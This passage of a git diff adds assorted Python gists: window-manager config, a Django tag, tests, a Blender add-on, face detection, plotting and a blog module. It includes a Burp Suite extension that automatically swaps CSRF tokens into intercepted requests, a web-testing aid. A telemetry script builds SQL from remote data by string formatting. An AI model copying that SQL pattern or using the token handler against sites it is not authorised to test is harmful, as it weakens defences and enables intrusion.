+        'background': bar['background'],
+        'foreground': '444444',
+        'height_percent': 75
+    }
+    systray = dict(widget)
+    systray.update({
+        'icon_size': 16,
+        'padding': 3
+    })
+
+ALT = 'mod1'
+MOD = 'mod4'
+SHIFT = 'shift'
+
+keys = [
+    # Applications
+    Key([MOD], 'b', lazy.spawn(Commands.browser)),
+    Key([MOD], 'm', lazy.spawn(Commands.menu)),
+    Key([MOD], 'l', lazy.spawn(Commands.lock)),
+    Key([MOD], 'Return', lazy.spawn(Commands.terminal)),
+    
+    # Simple Window Management
+    Key([MOD], 'Tab', lazy.layout.up()),
+    Key([MOD, SHIFT], 'Tab', lazy.layout.shuffle_up()),
+    Key([MOD], 'c', lazy.window.kill()),
+    
+    # Advanced Window Management
+    Key([MOD, ALT], 'Right', lazy.layout.up()),
+    Key([MOD, ALT], 'Left', lazy.layout.down()),
+    Key([MOD, ALT], 'Up', lazy.layout.shuffle_up()),
+    Key([MOD, ALT], 'Down', lazy.layout.shuffle_down()),
+    Key([MOD, SHIFT], 'Up', lazy.layout.grow()),
+    Key([MOD, SHIFT], 'Down', lazy.layout.shrink()),
+    Key([MOD, SHIFT], 'n', lazy.layout.normalize()),
+    
+    # Multimedia
+    Key([], 'XF86AudioRaiseVolume', lazy.spawn('amixer -q set Master 5%+')),
+    Key([], 'XF86AudioLowerVolume', lazy.spawn('amixer -q set Master 5%-')),
+    Key([], 'XF86AudioMute', lazy.spawn('amixer -q set Master toggle'))
+]
+
+layouts = (
+    # Basic Tiling
+    layout.MonadTall(name='xmonad'),
+    # Fullscreen Window
+    layout.Max(name='full'),
+    # Special Skype Layout
+    layout.MonadTall(0.2, name='skype')
+)
+
+group_setup = (
+    # Shell
+    ('shell', {
+        'apps': {'wm_class': ('Sakura',)}
+    }),
+    # File Management
+    ('files', {
+        'apps': {'wm_class': ('Nautilus',)}
+    }),
+    # Web
+    ('web', {
+        'apps': {'wm_class': ('Firefox',)},
+        'layout': 'full'
+    }),
+    # Multimedia
+    ('media', {
+        'apps': {'wm_class': ('Totem', 'Banshee')},
+        'layout': 'full'        
+    }),
+    # Development
+    ('dev', {
+        'apps': {'wm_class': ('Gedit', 'Eclipse')}
+    }),
+    # VirtualBox
+    ('vbox', {
+        'apps': {'wm_class': ()}
+    }),
+    # Skype
+    ('skype', {
+        'apps': {'wm_class': ('Skype',)},
+        'layout': 'skype'        
+    }),
+)
+
+groups = []
+for index, (name, config) in enumerate(group_setup, 1):
+    groups.append(Group(name, layout=config.get('layout', 'xmonad')))
+    keys.extend([
+        Key([MOD], str(index), lazy.group[name].toscreen()),
+        Key([MOD, SHIFT], str(index), lazy.window.togroup(name))
+    ])
+
+mouse = [
+    Drag([MOD], 'Button1', lazy.window.set_position_floating(),
+         start=lazy.window.get_position()),
+    Drag([MOD], 'Button3', lazy.window.set_size_floating(),
+         start=lazy.window.get_size()),
+    Click([MOD], 'Button2', lazy.window.bring_to_front())
+]
+
+screens = [
+    Screen(
+        top=bar.Bar(widgets=[
+            widget.TextBox('', 'screen 1', **Theme.widget),
+
+            widget.GroupBox(**Theme.groupbox),
+            widget.WindowName(**Theme.widget),
+
+            widget.TextBox('', 'cpu', **Theme.widget),
+            widget.CPUGraph(graph_color='18BAEB', fill_color='1667EB.3', **Theme.graph),
+            widget.TextBox('', 'mem', **Theme.widget),
+            widget.MemoryGraph(graph_color='00FE81', fill_color='00B25B.3', **Theme.graph),
+            widget.TextBox('', 'swap', **Theme.widget),
+            widget.SwapGraph(graph_color='5E0101', fill_color='FF5656', **Theme.graph),
+            widget.TextBox('', 'eth0', **Theme.widget),
+            widget.NetGraph(graph_color='ffff00', fill_color='4d4d00', interface='eth0',  **Theme.graph),
+
+            widget.Sep(**Theme.sep),
+
+            widget.CurrentLayout(**Theme.widget),
+
+            widget.Sep(**Theme.sep),
+
+            widget.Systray(**Theme.systray),
+            widget.Clock(fmt='%a %d %b %H:%M:%S', **Theme.widget)
+            ], **Theme.bar)
+    ),
+    Screen(
+        top=bar.Bar(widgets=[
+            widget.TextBox('', 'screen 2', **Theme.widget),
+
+            widget.GroupBox(**Theme.groupbox),
+            widget.WindowName(**Theme.widget),
+
+            widget.CurrentLayout(**Theme.widget)
+        ], **Theme.bar)
+    )
+]
+
+floating_layout = layout.floating.Floating(
+    float_rules=[{'wmclass': wmclass} for wmclass in (
+        'Download',
+        'Conky'
+    )],
+    auto_float_types=[
+        'notification',
+        'toolbar',
+        'splash',
+        'dialog'
+    ]
+)
+
+@hook.subscribe.startup
+def autostart():
+    for command in Commands.autostart:
+        subprocess.Popen([command], shell=True)
+
+@hook.subscribe.client_new
+def dialogs(window):
+    if(window.window.get_wm_type() == 'dialog' or window.window.get_wm_transient_for()):
+        window.floating = True
+    print window.window.get_wm_class()
+
+def main(qtile):
+    from grouper import AppGrouper, Match
+
+    AppGrouper(qtile, [{
+        'group': name,
+        'match': Match(**config['apps']),
+    } for name, config in group_setup if 'apps' in config])
\ No newline at end of file
diff --git a/hard-gists/3834979/._snippet.py b/hard-gists/3834979/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3834979/._snippet.py differ
diff --git a/hard-gists/3834979/snippet.py b/hard-gists/3834979/snippet.py
new file mode 100644
index 00000000..83a7133b
--- /dev/null
+++ b/hard-gists/3834979/snippet.py
@@ -0,0 +1,30 @@
+from django.template import Library, Node, Variable, \
+    VariableDoesNotExist, TemplateSyntaxError
+
+register = Library()
+
+def get_var(v, context):
+    try:
+        return v.resolve(context)
+    except VariableDoesNotExist:
+        return v.var
+
+class ReplaceNode(Node):
+
+    def __init__(self, s, old, new):
+        self.s = Variable(s)
+        self.old = Variable(old)
+        self.new = Variable(new)
+
+    def render(self, context):
+        s = unicode(get_var(self.s, context))
+        old = unicode(get_var(self.old, context))
+        new = unicode(get_var(self.new, context))
+        return s.replace(old, new)
+
+@register.tag
+def replace(parser, token):
+    args = token.split_contents()[1:]
+    if len(args) != 3:
+        raise TemplateSyntaxError, '%r tag requires a string, an old value, and a new value.' % token.contents.split()[0]
+    return ReplaceNode(*args)
\ No newline at end of file
diff --git a/hard-gists/3838828/._snippet.py b/hard-gists/3838828/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3838828/._snippet.py differ
diff --git a/hard-gists/3838828/snippet.py b/hard-gists/3838828/snippet.py
new file mode 100644
index 00000000..788e2c08
--- /dev/null
+++ b/hard-gists/3838828/snippet.py
@@ -0,0 +1,42 @@
+# based on https://launchpadlibrarian.net/94884626/testUtcToDst.patch
+# from https://bugs.launchpad.net/dateutil/+bug/944123
+import unittest
+from datetime import datetime, timedelta
+
+import dateutil.tz
+import dateutil.zoneinfo
+import pytz
+
+tzname = "America/Toronto"
+fmt = '%Y-%m-%d %H:%M:%S %Z%z'
+before_utc_naive_dt = datetime(2011, 11, 6, 5, 30)
+before_str = "2011-11-06 01:30:00 EDT-0400"
+after_utc_naive_dt = before_utc_naive_dt + timedelta(hours=1)
+after_str = "2011-11-06 01:30:00 EST-0500"
+
+
+class TestPytzVsDateutil(unittest.TestCase):
+    def _test(self, totz):
+        self.assertEqual(totz(before_utc_naive_dt).strftime(fmt), before_str)
+        self.assertEqual(totz(after_utc_naive_dt).strftime(fmt), after_str)
+
+    def _test_dateutil(self, gettz):
+        def totz(naive_utc_dt, utc=gettz("UTC"), tz=gettz("America/Toronto")):
+            return naive_utc_dt.replace(tzinfo=utc).astimezone(tz)
+        self._test(totz)
+
+    def test_pytz(self):
+        def totz(naive_utc_dt, utc=pytz.utc, tz=pytz.timezone(tzname)):
+            return tz.normalize(
+                naive_utc_dt.replace(tzinfo=utc).astimezone(tz))
+        self._test(totz)
+
+    def test_dateutil_tz(self):
+        self._test_dateutil(dateutil.tz.gettz)
+
+    def test_dateutil_zoneinfo(self):
+        self._test_dateutil(dateutil.zoneinfo.gettz)
+
+
+if __name__ == "__main__":
+    unittest.main()
\ No newline at end of file
diff --git a/hard-gists/3839812/._snippet.py b/hard-gists/3839812/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3839812/._snippet.py differ
diff --git a/hard-gists/3839812/snippet.py b/hard-gists/3839812/snippet.py
new file mode 100644
index 00000000..fb45de95
--- /dev/null
+++ b/hard-gists/3839812/snippet.py
@@ -0,0 +1,98 @@
+bl_info = {
+    "name": "Edge sum",
+    "author": "zeffii",
+    "version": (0, 1, 0),
+    "blender": (2, 7, 7),
+    "location": "3d view, N panel",
+    "description": "Adds edge sum box to Mesh Display.",
+    "wiki_url": "",
+    "tracker_url": "",
+    "category": "3D View"}
+
+# http://blender.stackexchange.com/a/1071/47
+# where Adhi suggests the space_view3d_panel_measure import.
+
+import bpy
+import bmesh
+import space_view3d_panel_measure as pm
+
+
+def print_details(num_edges, edge_length):
+    print("number of edges: {0}".format(num_edges))
+    print("combined length: {0:6f}".format(edge_length))
+
+
+def get_combined_length(object_reference):
+
+    # Get a BMesh representation
+    bm = bmesh.from_edit_mesh(object_reference.data)
+
+    selected_edges = [edge for edge in bm.edges if edge.select]
+    num_edges = len(selected_edges)
+
+    edge_length = 0
+    for edge in selected_edges:
+        edge_length += edge.calc_length()
+         
+    print_details(num_edges, edge_length)
+    return round(edge_length, 6)
+    
+
+class SumButton(bpy.types.Operator):
+    bl_idname = "scene.calculate_length"
+    bl_label = "Sometype of operator"
+
+    bpy.types.Scene.sum_addon_length = bpy.props.StringProperty(name = "")
+ 
+    def execute(self, context):
+        obj_reference = context.active_object
+        length = get_combined_length(obj_reference)
+        
+        uinfo = pm.getUnitsInfo()    
+        length = pm.convertDistance(length, uinfo)
+        context.scene.sum_addon_length = length
+        return{'FINISHED'}
+
+class CopyLength(bpy.types.Operator):
+    bl_idname = "scene.copy_length"
+    bl_label = "copy to clipboard"
+ 
+    def execute(self, context):
+        context.window_manager.clipboard  = context.scene.sum_addon_length
+        return{'FINISHED'}
+
+
+def draw_item(self, context):
+    layout = self.layout
+    obj = context.object
+    row = layout.row()
+    scn = context.scene
+
+    # display label and button
+    if obj:
+        row.label(text="summed edge length:")
+        row = layout.row()
+        
+        split = row.split(percentage=0.50)
+        col = split.column()
+        col.prop(scn, 'sum_addon_length')
+
+        split = split.split()
+        col = split.column()
+        col.operator("scene.calculate_length", text='Sum')
+
+        split = split.split()
+        col = split.column()
+        col.operator("scene.copy_length", text='Copy')
+
+
+def register():
+    bpy.utils.register_module(__name__)
+    bpy.types.VIEW3D_PT_view3d_meshdisplay.append(draw_item)
+
+def unregister():
+    bpy.utils.unregister_module(__name__)
+    bpy.types.VIEW3D_PT_view3d_meshdisplay.remove(draw_item)
+
+if __name__ == "__main__":
+    register()
\ No newline at end of file
diff --git a/hard-gists/3844261/._snippet.py b/hard-gists/3844261/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3844261/._snippet.py differ
diff --git a/hard-gists/3844261/snippet.py b/hard-gists/3844261/snippet.py
new file mode 100644
index 00000000..2b63445a
--- /dev/null
+++ b/hard-gists/3844261/snippet.py
@@ -0,0 +1,128 @@
+#!/usr/bin/env python
+
+from pygame import camera
+import pygame
+import time
+import cv
+import os
+
+
+# Recognition
+HAAR_PATH = "/usr/share/opencv/haarcascades/"
+
+# Face
+FACE_HAAR = os.path.join(HAAR_PATH, "haarcascade_frontalface_default.xml")
+FACE_HAAR = cv.Load(FACE_HAAR)
+
+# Eye
+EYE_HAAR = os.path.join(HAAR_PATH, "haarcascade_mcs_righteye.xml")
+EYE_HAAR = cv.Load(EYE_HAAR)
+
+# Nose
+NOSE_HAAR = os.path.join(HAAR_PATH, "haarcascade_mcs_nose.xml")
+NOSE_HAAR = cv.Load(NOSE_HAAR)
+
+# Mouth
+MOUTH_HAAR = os.path.join(HAAR_PATH, "haarcascade_mcs_mouth.xml")
+MOUTH_HAAR = cv.Load(MOUTH_HAAR)
+
+# Screen settings
+SCREEN = [640, 360]
+
+
+def surface_to_string(surface):
+    """Convert a pygame surface into string"""
+    return pygame.image.tostring(surface, 'RGB')
+
+
+def pygame_to_cvimage(surface):
+    """Convert a pygame surface into a cv image"""
+    cv_image = cv.CreateImageHeader(surface.get_size(), cv.IPL_DEPTH_8U, 3)
+    image_string = surface_to_string(surface)
+    cv.SetData(cv_image, image_string)
+    return cv_image
+
+
+def cvimage_grayscale(cv_image):
+    """Converts a cvimage into grayscale"""
+    grayscale = cv.CreateImage(cv.GetSize(cv_image), 8, 1)
+    cv.CvtColor(cv_image, grayscale, cv.CV_RGB2GRAY)
+    return grayscale
+
+
+def cvimage_to_pygame(image):
+    """Convert cvimage into a pygame image"""
+    image_rgb = cv.CreateMat(image.height, image.width, cv.CV_8UC3)
+    cv.CvtColor(image, image_rgb, cv.CV_BGR2RGB)
+    return pygame.image.frombuffer(image.tostring(), cv.GetSize(image_rgb),
+                                   "RGB")
+
+
+def detect_faces(cv_image, storage):
+    """Detects faces based on haar. Returns points"""
+    return cv.HaarDetectObjects(cvimage_grayscale(cv_image), FACE_HAAR,
+                                storage)
+
+
+def detect_eyes(cv_image, storage):
+    """Detects eyes based on haar. Returns points"""
+    return cv.HaarDetectObjects(cvimage_grayscale(cv_image), EYE_HAAR,
+                                storage)
+
+
+def detect_nose(cv_image, storage):
+    """Detects nose based on haar. Returns ponts"""
+    return cv.HaarDetectObjects(cvimage_grayscale(cv_image), NOSE_HAAR,
+                                storage)
+
+
+def detect_mouth(cv_image, storage):
+    """Detects mouth based on haar. Returns points"""
+    return cv.HaarDetectObjects(cvimage_grayscale(cv_image), MOUTH_HAAR,
+                                storage)
+
+
+def draw_from_points(cv_image, points):
+    """Takes the cv_image and points and draws a rectangle based on the points.
+    Returns a cv_image."""
+    for (x, y, w, h), n in points:
+        cv.Rectangle(cv_image, (x, y), (x + w, y + h), 255)
+    return cv_image
+
+
+if __name__ == '__main__':
+
+    # Set game screen
+    screen = pygame.display.set_mode(SCREEN)
+
+    pygame.init()  # Initialize pygame
+    camera.init()  # Initialize camera
+
+    # Load camera source then start
+    cam = camera.Camera('/dev/video0', SCREEN)
+    cam.start()
+
+    while 1:  # Ze loop
+
+        time.sleep(1 / 120)  # 60 frames per second
+
+        image = cam.get_image()  # Get current webcam image
+
+        cv_image = pygame_to_cvimage(image)  # Create cv image from pygame image
+
+        # Detect faces then draw points on image
+        # FIXME: Current bottleneck. Image has to be Grayscale to make it faster.
+        #        One solution would be to use opencv instead of pygame for
+        #        capturing images.
+        storage = cv.CreateMemStorage(-1)  # Create storage
+        #points = detect_eyes(cv_image, storage) + \
+        #        detect_nose(cv_image, storage) + \
+        #        detect_mouth(cv_image, storage)
+        points = detect_faces(cv_image, storage)  # Get points of faces.
+        cv_image = draw_from_points(cv_image, points)  # Draw points
+
+        screen.fill([0, 0, 0])  # Blank fill the screen
+
+        screen.blit(cvimage_to_pygame(cv_image), (0, 0))  # Load new image on screen
+
+        pygame.display.update()  # Update pygame display
diff --git a/hard-gists/3860197/._snippet.py b/hard-gists/3860197/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3860197/._snippet.py differ
diff --git a/hard-gists/3860197/snippet.py b/hard-gists/3860197/snippet.py
new file mode 100644
index 00000000..40557e26
--- /dev/null
+++ b/hard-gists/3860197/snippet.py
@@ -0,0 +1,61 @@
+#!/usr/bin/env python
+
+"""Usage:
+    python plot_pr_curve.py
+"""
+
+import sys
+import numpy as np
+import pylab as pl
+from sklearn.metrics import precision_recall_curve
+
+def read(fname):
+    y_test = []
+    probas = []
+    with open(fname, 'r') as f:
+        for line in f:
+            cols = line.strip().split()
+
+            if not (len(cols) == 4 or len(cols) == 5): continue
+            if not cols[0].isdigit(): continue
+
+            y_test.append( float(cols[1].split(':')[-1]) )
+
+            proba = float(cols[-1].split(',')[-1].replace('*', ''))
+            probas.append(proba)
+    return np.array(y_test), np.array(probas)
+
+def plot_precision_recall(lines, fname):
+    pl.clf()
+
+    for precision, recall, label in lines:
+        pl.plot(recall, precision, label=label)
+    pl.xlabel('Recall')
+    pl.ylabel('Precision')
+    pl.ylim([0.0, 1.05])
+    pl.xlim([0.0, 1.0])
+    pl.title('Precision-Recall')
+    pl.legend(loc="upper right")
+    pl.savefig(fname)
+
+def main(fnames):
+    lines = []
+
+    for fname, label in fnames:
+        y_test, probas = read(fname)
+        precision, recall, threshold = precision_recall_curve(y_test, probas)
+
+        lines.append( (precision, recall, label) )
+    png_fname = 'pr_curve.png'
+    plot_precision_recall(lines, png_fname)
+
+if __name__ == '__main__':
+    fnames = (
+        ('file1.txt', 'with feature sets A,B,C'),
+        ('file2.txt', 'with feature setes B, C, D'),
+        ('file3.txt', 'with feature setes F, G, H'),
+        ('file4.txt', 'with feature setes B, C, D'),
+        ('file5.txt', 'with feature setes B, C, D'),
+    )
+
+    main(fnames)
diff --git a/hard-gists/386098fb7348606b295a/._snippet.py b/hard-gists/386098fb7348606b295a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/386098fb7348606b295a/._snippet.py differ
diff --git a/hard-gists/386098fb7348606b295a/snippet.py b/hard-gists/386098fb7348606b295a/snippet.py
new file mode 100644
index 00000000..13e45156
--- /dev/null
+++ b/hard-gists/386098fb7348606b295a/snippet.py
@@ -0,0 +1,39 @@
+from burp import (IBurpExtender, IBurpExtenderCallbacks, ISessionHandlingAction, IHttpListener)
+import re
+
+class BurpExtender(IBurpExtender, ISessionHandlingAction, IHttpListener):
+    def registerExtenderCallbacks(self, callbacks):
+        self.callbacks = callbacks
+        self.helpers = callbacks.getHelpers()
+        callbacks.setExtensionName("Session CSRF Token Handling")
+        self.callbacks.registerSessionHandlingAction(self)
+        self.callbacks.registerHttpListener(self)
+        self.out = callbacks.getStdout()
+        # CONFIG: find token in tools defined by this bitmask, constants defined in IBurpExtenderCallback
+        self.findTools = 0xffffffff
+        # CONFIG: this RE matches the CSRF token
+        self.reFindToken = re.compile("^<script>var csrfToken=\"(.*?)\"", re.MULTILINE)
+        # CONFIG: Replacement RE with prefix and suffix capture groups
+        self.reReplaceToken = re.compile("(CSRFToken=).*?(&)")
+        self.token = None
+
+    def log(self, msg):
+        self.out.write(msg + "\n")
+
+    ### IHttpListener ###
+    def processHttpMessage(self, tool, messageIsRequest, message):
+        if tool & self.findTools and not messageIsRequest:
+            response = self.helpers.bytesToString(message.getResponse())
+            match = self.reFindToken.search(response)
+            if match and self.token != match.group(1):
+                self.token = match.group(1)
+                self.log("New CSRF Token: " + self.token)
+
+    ### ISessionHandlingAction ###
+    def getActionName(self):
+        return "Update CSRF Token"
+    
+    def performAction(self, currentRequest, macroItems):
+        request = self.helpers.bytesToString(currentRequest.getRequest())
+        result = self.reReplaceToken.sub("\\g<1>" + self.token + "\\g<2>", request)
+        currentRequest.setRequest(result)
\ No newline at end of file
diff --git a/hard-gists/3878ce0f3e232e3daf5c/._snippet.py b/hard-gists/3878ce0f3e232e3daf5c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3878ce0f3e232e3daf5c/._snippet.py differ
diff --git a/hard-gists/3878ce0f3e232e3daf5c/snippet.py b/hard-gists/3878ce0f3e232e3daf5c/snippet.py
new file mode 100644
index 00000000..6733e788
--- /dev/null
+++ b/hard-gists/3878ce0f3e232e3daf5c/snippet.py
@@ -0,0 +1,83 @@
+#!/usr/bin/python
+
+from variety.plugins.IQuoteSource import IQuoteSource
+import subprocess, re
+from locale import gettext as _
+
+class FortuneSource(IQuoteSource):
+    @classmethod
+    def get_info(cls):
+        return {
+            "name": "Fortunes",
+            "description": _("Displays quotes using the UNIX fortune program"),
+            "author": "Dan Jones",
+            "version": "0.1"
+            }
+
+    def supports_search(self):
+        return False
+
+    def get_random(self):
+        fortune = subprocess.check_output(['fortune'])
+        q = fortune.split('--')
+        quote = q[0].strip()
+        if len(q) > 1:
+            s = q[1].strip()
+            m = re.search('(.+), +"?(.+)"?',s)
+            if m:
+                author = m.group(1)
+                sourceName = m.group(2)
+            else:
+                author = s
+                sourceName = None
+        else:
+            author = None
+            sourceName = None
+
+        r = {
+            "quote": quote,
+            "author": author,
+            "sourceName": sourceName,
+            "link": None
+            }
+
+        return [r]
+    
+    def get_for_author(self, author):
+        return []
+
+    def get_for_keyword(self, keyword):
+        return []
+
+### Read Me
+#
+# First be sure that fortune is installed and in your PATH
+# Copy this file to ~/.config/variety/plugins/quotes
+# Restart variety
+#
+###
+# 
+# Gist: https://gist.github.com/goodevilgenius/3878ce0f3e232e3daf5c
+#
+### BEGIN LICENSE
+# Copyright (c) 2014 Dan Jones
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+### END LICENSE
+
diff --git a/hard-gists/3886519/._snippet.py b/hard-gists/3886519/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3886519/._snippet.py differ
diff --git a/hard-gists/3886519/snippet.py b/hard-gists/3886519/snippet.py
new file mode 100644
index 00000000..6a6e94e5
--- /dev/null
+++ b/hard-gists/3886519/snippet.py
@@ -0,0 +1,134 @@
+#!/usr/bin/env python
+
+"""
+An 8-bit avatar generator.
+"""
+
+from __future__ import division
+
+import argparse
+import hashlib
+import numpy
+import png
+
+def chunk(s, n):
+    """
+    Chunks a string into fragments n characters long.
+    """
+    for i in range(0, len(s), n):
+        yield s[i:i+n]
+
+def map_coords(s, xmax = 4, ymax = 8):
+    """
+    Transforms two hexadecimal digits (s) to (x, y) coordinates, e.g.,
+    
+        10 => (1, 0)
+        b3 => (1, 3)
+        2f => (2, 5)
+    
+    For values greater than xmax or ymax, use the remainder.
+    """
+    s = list(s)
+    x = s[0]
+    y = s[1]
+    if x > xmax:
+        x = int(x, 16) % xmax
+    if y > ymax:
+        y = int(y, 16) % ymax
+    return (x,y)
+
+def get_coords(md5hash):
+    chunked = list(chunk(md5hash, 2))
+    coords = []
+    for c in chunked:
+        coords.append(map_coords(c))
+    return list(set(coords))
+
+def choose_foreground(md5hash):
+    """
+    Placeholder function for something more advanced.
+    """
+    return pixelize(md5hash[0:6])
+
+def choose_background(md5hash):
+    """
+    Placeholder function for something more advanced.
+    """
+    return pixelize(md5hash[6:12])
+
+def colour_distance(rgb1, rgb2):
+    """
+    Returns the Euclidean distance between two RGB tuples (R, G, B).
+    
+    Note that this is a first-order estimate; human colour perception is 
+    non-Euclidean.
+    """
+    dR = (rgb1[0] - rgb2[0])
+    dG = (rgb1[1] - rgb2[1])
+    dB = (rgb1[2] - rgb2[2])
+    d = numpy.sqrt(dR**2 + dG**2 + dB**2)
+    return d
+    
+def pixelize(colour):
+    """
+    Takes a colour in #RRGGBB and returns a pixel value as an RGB tuple.
+    """
+    components = list(chunk(colour, 2))
+    return tuple([int(x, 16) for x in components])
+
+def write_png(arr, filename, palette):
+    """
+    Write a binary pixel array to a PNG file.
+    """
+    f = open(filename, 'wb')
+    w = png.Writer(palette = palette, bitdepth=1, size=arr.shape)
+    w.write(f, arr)
+    
+def fill_pixel_array(coords, size):
+    """
+    Construct an avatar pixel array of arbitrary size.
+    """
+    arr = numpy.zeros((10, 5))
+    for c in coords:
+        x = c[0]
+        y = c[1]
+        arr[y+1, x+1] = 1
+    arr_mirror = numpy.fliplr(arr)
+    arr = numpy.hstack((arr, arr_mirror))
+    # Scale the array, e.g. for a scaling factor of n = 2:
+    #
+    # array([1, 0],     =>  array([1, 1, 0, 0],
+    #       [1, 1])               [1, 1, 0, 0],
+    #                             [1, 1, 1, 1],
+    #                             [1, 1, 1, 1])
+    n = size/arr.shape[0]
+    arr = numpy.kron(arr, numpy.ones((n, n)))
+    return arr
+
+def generate_avatar(md5hash, filename, size):
+    """
+    Generate an 8-bit avatar from a given MD5 hash.
+    """
+    fg = choose_foreground(md5hash)
+    bg = choose_background(md5hash)
+    coords = get_coords(md5hash)
+    imgarray = fill_pixel_array(coords, size)    
+    write_png(imgarray, filename, [bg, fg])
+
+def main():
+    # CLI
+    parser = argparse.ArgumentParser(description='Generate a retro avatar.')
+    parser.add_argument('email')
+    parser.add_argument('--output', default='avatar.png')
+    parser.add_argument('--size', default=100, type=int)
+    args = parser.parse_args()
+    
+    email = args.email
+    size = args.size
+    md5hash = hashlib.md5(email).hexdigest()
+    
+    generate_avatar(md5hash, args.output, args.size)
+
+if __name__ == '__main__':
+    main()
+    
diff --git a/hard-gists/3891365/._snippet.py b/hard-gists/3891365/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3891365/._snippet.py differ
diff --git a/hard-gists/3891365/snippet.py b/hard-gists/3891365/snippet.py
new file mode 100644
index 00000000..41ccb359
--- /dev/null
+++ b/hard-gists/3891365/snippet.py
@@ -0,0 +1,35 @@
+
+import time
+import urllib2
+import json
+from cartodb import CartoDBAPIKey, CartoDBException
+from secret import API_KEY
+
+URL = 'http://services.redbullstratos.com/LiveData/Get'
+
+cl = CartoDBAPIKey(API_KEY, 'javi')
+
+#create_table();
+positions = {}
+while True:
+    try:
+        data = json.loads(urllib2.urlopen(URL).read())
+        telemetry = data['Telemetry']
+        if telemetry:
+            telemetry.sort(lambda x, y: x['Id'] - y['Id'])
+            for t in telemetry:
+                if t['Id'] not in positions:
+                    positions[t['Id']] = t
+                    t['the_geom'] = "ST_GeomFromText('POINT(%s %s)', 4326)" % (t['Longitude'], t['Latitude'])
+                    del t['Latitude']
+                    del t['Longitude']
+                    del t['CompassDirection']
+                    cl.sql("insert into stratos (%s) values (%s)" % (
+                        ','.join(map(str, t.keys())), 
+                        ','.join(map(str, t.values()))
+                        )
+                    )
+    except Exception,e:
+        print e
+        pass
+    time.sleep(3)
diff --git a/hard-gists/3893296/._snippet.py b/hard-gists/3893296/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3893296/._snippet.py differ
diff --git a/hard-gists/3893296/snippet.py b/hard-gists/3893296/snippet.py
new file mode 100644
index 00000000..a60bf3ac
--- /dev/null
+++ b/hard-gists/3893296/snippet.py
@@ -0,0 +1,5 @@
+from Crypto import HMAC, SHA256
+
+def hmac_sha256(key, msg):
+    hash_obj = HMAC.new(key=key, msg=msg, digestmod=SHA256)
+    return hash_obj.hexdigest()
\ No newline at end of file
diff --git a/hard-gists/3893624/._snippet.py b/hard-gists/3893624/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3893624/._snippet.py differ
diff --git a/hard-gists/3893624/snippet.py b/hard-gists/3893624/snippet.py
new file mode 100644
index 00000000..9d2b0fd8
--- /dev/null
+++ b/hard-gists/3893624/snippet.py
@@ -0,0 +1,149 @@
+import webapp2
+import jinja2
+import os
+import json
+import logging
+import re
+import hashlib
+import hmac
+import random
+import string
+from time import strftime
+from time import time
+from google.appengine.ext import db
+from google.appengine.api import memcache
+import blog_main
+
+PAGE_TITLE = "Blog"
+PATH = '/blog'
+
+#------------------------------------------------ blog-specific object classes ----------------------------------------------------
+class Post(db.Model):
+	author = db.StringProperty()
+	title = db.StringProperty(required = True)
+	body = db.TextProperty(required = True)
+	created = db.DateTimeProperty(auto_now_add = True)
+	last_modified = db.DateTimeProperty(auto_now = True)
+	comments = db.IntegerProperty()
+	
+	def add_comment(self, author, body):
+		self.comments += 1
+		id = self.key().id()
+		new = Comment(parent = self, author = author, body = body, post_id = id, number = self.comments)
+		new.put()
+		self.put()
+		memcache.set(str(id), self)
+		memcache.delete(str(id)+'_comments')
+		
+	def render(self, preview = False):
+		self._render_text = self.body.replace('\n', '<br>')
+		if preview and len(self._render_text) > 500:
+			self._render_text = self._render_text[:499] + '... <a href = /blog/%s class = "top-link">read more</a>' % self.key().id()
+		return blog_main.render_string('post.html', post = self)
+		
+class Comment(db.Model):
+	author = db.StringProperty()
+	body = db.TextProperty(required = True)
+	created = db.DateTimeProperty(auto_now_add = True)
+	last_modified = db.DateTimeProperty(auto_now = True)
+	post_id = db.IntegerProperty(required = True)
+	number = db.IntegerProperty(required = True)
+	
+	def render(self):
+		#self._render_text = self.body.replace('\n', '<br>\n')
+		return blog_main.render_string('comment.html', comment = self)
+		
+		
+# ----------------------------------------------- code for displaying the blog -------------------------------------------------
+class Handler(blog_main.Handler):
+	def render_html(self, template, **kw):
+		self.write(self.render_string(template, user = self.user, age = self.get_age(), page_title = PAGE_TITLE, path = PATH, **kw))
+		
+class BlogHandler(Handler):
+	def get(self):
+		posts = memcache.get('all')
+		if posts is None:
+			logging.error("DB QUERY")
+			posts = db.GqlQuery("SELECT * FROM Post ORDER BY created DESC")
+			memcache.set('all', posts)
+			memcache.set('last_queried', time())
+		if self.request.url.endswith('.json'):
+			self.response.headers['Content-Type'] = 'application/json'
+			self.write(json.dumps([{'subject':post.title, 'content':post.body, 'created':strftime('%A, %B %c',post.created.timetuple())}
